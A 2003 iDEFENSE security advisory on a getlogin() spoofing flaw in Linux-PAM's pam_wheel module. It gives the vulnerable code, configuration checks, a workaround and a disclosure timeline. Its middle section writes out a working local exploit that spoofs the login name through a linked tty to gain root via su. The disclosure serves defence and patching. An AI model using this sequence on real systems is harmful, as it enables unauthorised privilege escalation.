[VulnWatch] iDEFENSE Security Advisory 06.16.03: Linux-PAM getlogin() Spoofing Vulnerability

From: iDEFENSE Labs (labs_at_idefense.com)
Date: 06/16/03

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    Date: Mon, 16 Jun 2003 11:53:01 -0400
    
    

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    iDEFENSE Security Advisory 06.16.03:
    http://www.idefense.com/advisory/06.16.03.txt
    Linux-PAM getlogin() Spoofing Vulnerability
    June 16, 2003

    I. BACKGROUND

    The Pluggable Authentication Module (PAM) is a flexible mechanism for
    authenticating users. More information is available at
    http://www.kernel.org/pub/linux/libs/pam/ .

    II. DESCRIPTION

    The pam_wheel module of Andrew G. Morgan's Linux-PAM uses getlogin() in
    an insecure manner, thereby allowing attackers to bypass certain
    restrictions. The pam_wheel module is often used with su(1) to allow
    users belonging to a trusted group to utilize the command without
    supplying a password. The module utilizes the getlogin() function to
    determine the name of the currently logged in user. This name is then
    compared against a list of members of a trusted group as specified in
    the configuration file. The following is a snippet of the offending
    section of code:

    fromsu = getlogin();
    if (fromsu) {
        tpwd = getpwnam(fromsu);
    }

    ...
    ...
    ...

    /*
    * test if the user is a member of the group, or if the
    * user has the "wheel" (sic) group as its primary group.
    */
    if (is_on_list(grp->gr_mem, fromsu) || (tpwd->pw_gid == grp->gr_gid)) {
        if (ctrl & PAM_DENY_ARG) {
            retval = PAM_PERM_DENIED;
        } else if (ctrl & PAM_TRUST_ARG) {
            retval = PAM_SUCCESS; /* this can be a sufficient check
    */
        } else {
            retval = PAM_IGNORE;
        }
    } else {

    If the "trust" option is enabled in the pam_wheel configuration file
    and the "use_uid" option is disabled, any local user may spoof the
    username returned by getlogin() and gain access to a super-user account
    without supplying a password. The following is a sample exploitation
    scenario:

    $ w
    10:32am up 3:26, 2 users, load average: 0.01, 0.01, 0.00
    USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
    root tty1 - 7:13am 3:03m 0.30s 0.22s -bash
    farmer pts/0 172.16.60.5 10:32am 0.00s 0.00s ? -

    $ logname
    farmer

    $ ln /dev/tty tty1
    $ bash < tty1

    $ logname
    root

    $ su -
    # id
    uid=0(root) gid=0(root)
    groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

    III. ANALYSIS

    If the appropriate configuration options are enabled, and a member of
    the wheel group is currently logged in, any local user can spoof log
    entries, or, in the worst case scenario, obtain super-user privileges
    depending on the PAM configuration settings.

    IV. DETECTION

    Linux-PAM 0.77 and previous versions are vulnerable, however, the
    necessary configuration for exploitability must also exist. More
    specifically, a trust of the wheel group must exist in an application
    such as su(1), and the use_uid option must not be enabled. This is
    usually not the default situation with most Linux installations.

    The following is a sample default nonvulnerable entry from
    /etc/pam.d/su in Redhat 7.3:

    # Uncomment the following line to implicitly trust users in the "wheel"
    group.
    #auth sufficient /lib/security/pam_wheel.so trust use_uid

    The following is a sample entry in /etc/pam.d/su that would be
    vulnerable to the described attack:

    # Uncomment the following line to implicitly trust users in the "wheel"
    group.
    auth sufficient /lib/security/pam_wheel.so trust

    V. WORKAORUND

    When utilizing the pam_wheel module, enable the use_uid option. Doing
    so should prevent the login name spoofing from circumventing PAM
    restrictions.

    VI. VENDOR FIX

    Andrew Morgan does not plan to release a new version of Linux-PAM,
    however, Linux-PAM 0.78, which does fix this flaw, is obtainable via
    the following CVS:

    http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pam/Linux-PAM/

    Linux distributors will be releasing their own updates as appropriate.

    VII. CVE INFORMATION

    The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
    has assigned the identification number CAN-2003-0388 to this issue.

    VIII. DISCLOSURE TIMELINE

    21 OCT 2002 Issue disclosed to iDEFENSE
    22 NOV 2002 Andrew Morgan (Linux-PAM maintainer) notified
    23 NOV 2002 Response received from Andrew Morgan
    25 NOV 2002 iDEFENSE clients notified
    14 DEC 2002 Patch provided to iDEFENSE for validation
    14 JAN 2003 Issue fixed in CVS
    09 JUN 2003 Andrew Morgan contacted re: availability of next
                     stable release
    09 JUN 2003 vendor-sec@lst.de informed of CVS updates
    16 JUN 2003 Coordinated public disclosure

    X. CREDIT

    Karol Wiesek (appelast@bsquad.sm.pl) is credited with discovering this
    vulnerability.

    Get paid for security research
    http://www.idefense.com/contributor.html

    Subscribe to iDEFENSE Advisories:
    send email to listserv@idefense.com, subject line: "subscribe"

    About iDEFENSE:

    iDEFENSE is a global security intelligence company that proactively
    monitors sources throughout the world - from technical vulnerabilities
    and hacker profiling to the global spread of viruses and other
    malicious code. Our security intelligence services provide
    decision-makers, frontline security professionals and network
    administrators with timely access to actionable intelligence and
    decision support on cyber-related threats. For more information, visit
    http://www.idefense.com .

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